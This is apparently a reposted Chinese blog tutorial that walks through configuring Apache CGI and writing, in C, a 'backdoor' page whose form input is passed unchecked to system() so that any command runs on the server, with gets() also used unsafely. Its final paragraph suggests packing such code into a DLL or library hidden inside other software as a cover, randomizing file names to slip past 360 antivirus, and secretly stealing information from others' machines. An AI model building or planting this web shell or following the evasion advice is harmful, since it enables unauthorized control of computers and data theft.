c/c++----網站及其后門(CGI應用程序)


      C/C++學習到這兒,結合自己曾經學過的javasweb知識,現在讓我們來看看,如何做一個CGI程序吧!

      首先了解一下啥子叫CGI  :CGI全稱是“公共網關接口”(Common Gateway Interface),HTTP服務器與你的或其它機器上的程序進行“交談”的一種工具,其程序須運行在網絡服務器上。    ----來自百度百科

1.  首先,我們需要 Apache server2.0(學習web,應該必須知道這個的,嘻嘻),安裝好該軟件之后,也許會出現很多的問題,導致打不開什么的。喵了個咪的,博主本人曾經也是搞了老半天,不過最后,還是搞定了!

 

    (1). 其實主要情況,我遇到就兩種,第一種,就是我們為了節約開機時間,將IIS關閉了,或者有些俠客直接將它卸載了! 所以導致打不開!  

           -----------------------面對這種問題,下一個就好了!  Apache server2.0 需要 IIS 配合。 

      (2). 第二種就是80端口被占用了,這是最容易發生的情況沒有之一。  解決的方法有很多,但是個人比較喜歡這樣來搞。

     cmd --》 net -ano   --->查看那些占用了80端口(一般是瀏覽器什么的居多) 幾下他們的  PID ,然后在進程管理哪兒關閉就好了!

  

上面的Apache server 運行起來之后,就在瀏覽器中 敲入 localhost ,會顯示一個

 

然后修改一個,http.cof文件   

找到倆個位置:

第一個位置: #  AddHandler cgi-script .cgi   將這個語句的前面#注釋符去掉

第二個位置: 

<Directory "D:/Program Files/Apache Software Foundation/Apache2.2/cgi-bin">
AllowOverride None
Options None    -----將這個位置替換為:    Options Indexes ExecCGI
Order allow,deny
Allow from all

</Directory>

這兩個位置配置好之后。就可以用C/C++編程了!

第一步:我們編寫一個這樣的文件

    

1 #include<stdio.h>
2 int main(int args ,char * argv []) {
3   
4     printf("Content-type:text/html\n\n");
5     printf("hello world ! 我是cgi ");
6     getchar();
7   return 0;
8 }

 編譯,生成一個這樣的 hello.exe文件、生成之后,我們將hell.exe的屬性改為 hello.cgi

然后將其放置到,自己安裝的Apache server2.0文件中的cgi-bin文件下

在瀏覽器中,再輸入,localhost/cgi-bin/hello.cgi  就可以看到這樣的畫面

             

2. 那么說了這么多,我們又該用c/c++寫一個cgi來做后台,在背后來操作這個數據呢! 

    首先,我們需要寫一個html,做個web的,對於這些當然,是再easy不過了! 為了節約時間,就寫一個簡陋點的html吧!!

諾,看!

 1 <html>
 2 <head>
 3   <title>后台</title>
 4 </head>
 5 
 6 <body>
 7             <h1> 后台界面</h1>
 8  <form action="http://localhost/cgi-bin/gxjun.cgi" method="post" id=CGI >
 9   
10   請輸入命令cmd: <input  type="text"  name="textlist"     /><br><br>  
11   <input  type="submit"    /><br>
12  </form>
13  <hr>
14 <body>
15 </html>

   這個界面的運行的效果,如下圖:

   

  當然,這個當我們在做web的時候,這個是可以內嵌到,我們的項目中的!在於你將這個jsp放到哪個地兒啦!

 最后就是重點了! 就像我上面寫的cgi一樣! 寫一個下面這樣的代碼:

 

 1 #define  _CRT_SECURE_NO_WARNINGS
 2 #include<stdio.h>
 3 #include<stdlib.h>
 4 //#include<stdexcept>
 5 #include<windows.h>
 6 
 7 //以調用System為舉例
 8 void func(char ps []) {
 9     // ps 為cmd命令
10     char *pl = strchr(ps,'=');  //pl指向當前的位置
11     if(pl!=NULL)   ps = ps + (pl-ps+1);
12      printf("命令cmd = %s\n", ps);
13     char cmd[256] = {'\0'};
14     char  filename[]  = "Gxjun.txt";   //暫定放置於當前目錄。
15     sprintf(cmd,"%s > %s ",ps,filename);  //將ps的內容寫入cmd中
16     //生成了一條指令
17     //無論是否執行成功,都會生成一個Gxjun.txt文件
18     FILE *fp = NULL;
19     int tag=system(cmd);  
20     if (tag == 1) {
21         printf("命令格式錯誤!,請重新輸入: ");
22         goto loop;
23     }
24     if ((fp = fopen(filename, "r")) == NULL) {
25         printf("沒有發現文件!");
26         goto loop ;
27      }
28 
29      while (!feof(fp)) {
30          char str=fgetc(fp);
31           if (str == '\n') printf("<br><br>\n\n");
32           else if (str == ' ')printf("&nbsp;");
33           else
34               printf("%c",str);
35      }
36 
37  loop:
38      if (fp != NULL){
39          fclose(fp);
40          //並刪除備份的文件
41          system("del Gxjun.txt");
42      }
43      return ;
44 }
45 
46 
47 int main(int args ,char * argv []) {
48   
49     printf("Content-type:text/html\n\n");
50     //打印環境變量
51     printf("&nbsp;&nbsp;&nbsp;%s<br><br>", getenv("QUERY_STRING"));
52     char szPost[256] = {'\0'};
53     gets(szPost);  //獲取輸入    
54     if ( strlen(szPost) < 1 )
55         strcpy( szPost , "ipconfig" );
56     func(szPost);
57     getchar();
58   return 0;
59 }

  編譯之后,形成hello.exe改成將.exe屬性改為hello.cgi文件,放置到cgi-bin目錄中,當然,如果有服務器,之間放到服務器中就可以看!  就像這樣

3.打開瀏覽器,輸入類似這樣的如下圖:

輸入一個  tasklist之后,得到這樣一個頁面顯示:

 

輸入: ipconfig 之后得到的畫面:

好了! 關於,網站后台的知識,大概就這么多了! 寫的比較操蛋! 當然,還可以無限的加精! 這個,得看,你能花多少時間在這個上面了! 做的精華了,你就是一個Hacker!    

  當然,其實這個技術,不僅僅僅限於web這方面,可以適應任何軟件,我們可以生成一個lib/dll文件,然后#progma(lib,"**.lib");這樣的宏命令,嵌入到我們的軟件中,利用這個存在的軟件,作為幌子,可以暗暗的操控被人的系統的!  當然也可以再寫一個dll文件,來執行相應的操作的!這樣的話,就需要加入很多的隨機元素,比如文件生成不能再是Gxjun,txt,而應該是隨機的生成,路徑隨意的生成,,當然這些都是很容易實現的,這樣很容易躲過360的鈎子這個流氓軟件! 然后對別人 的軟件偷偷的竊取信息什么的!! 當然,有360把關最底層,你所做的行為不可能逃過它的的監控,唯一的方法就是花錢,讓360放行,等等! 當然,我們還是可以通過下載者自己放行就可以了(雖然會被攔截)!  

----------------以上都是依據本屌實際操作可行,以及學習得到的經歷,分享出來,供大家參考,如果有誤,歡迎,嚴厲帶着苛刻的指正!謝謝!------------------


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM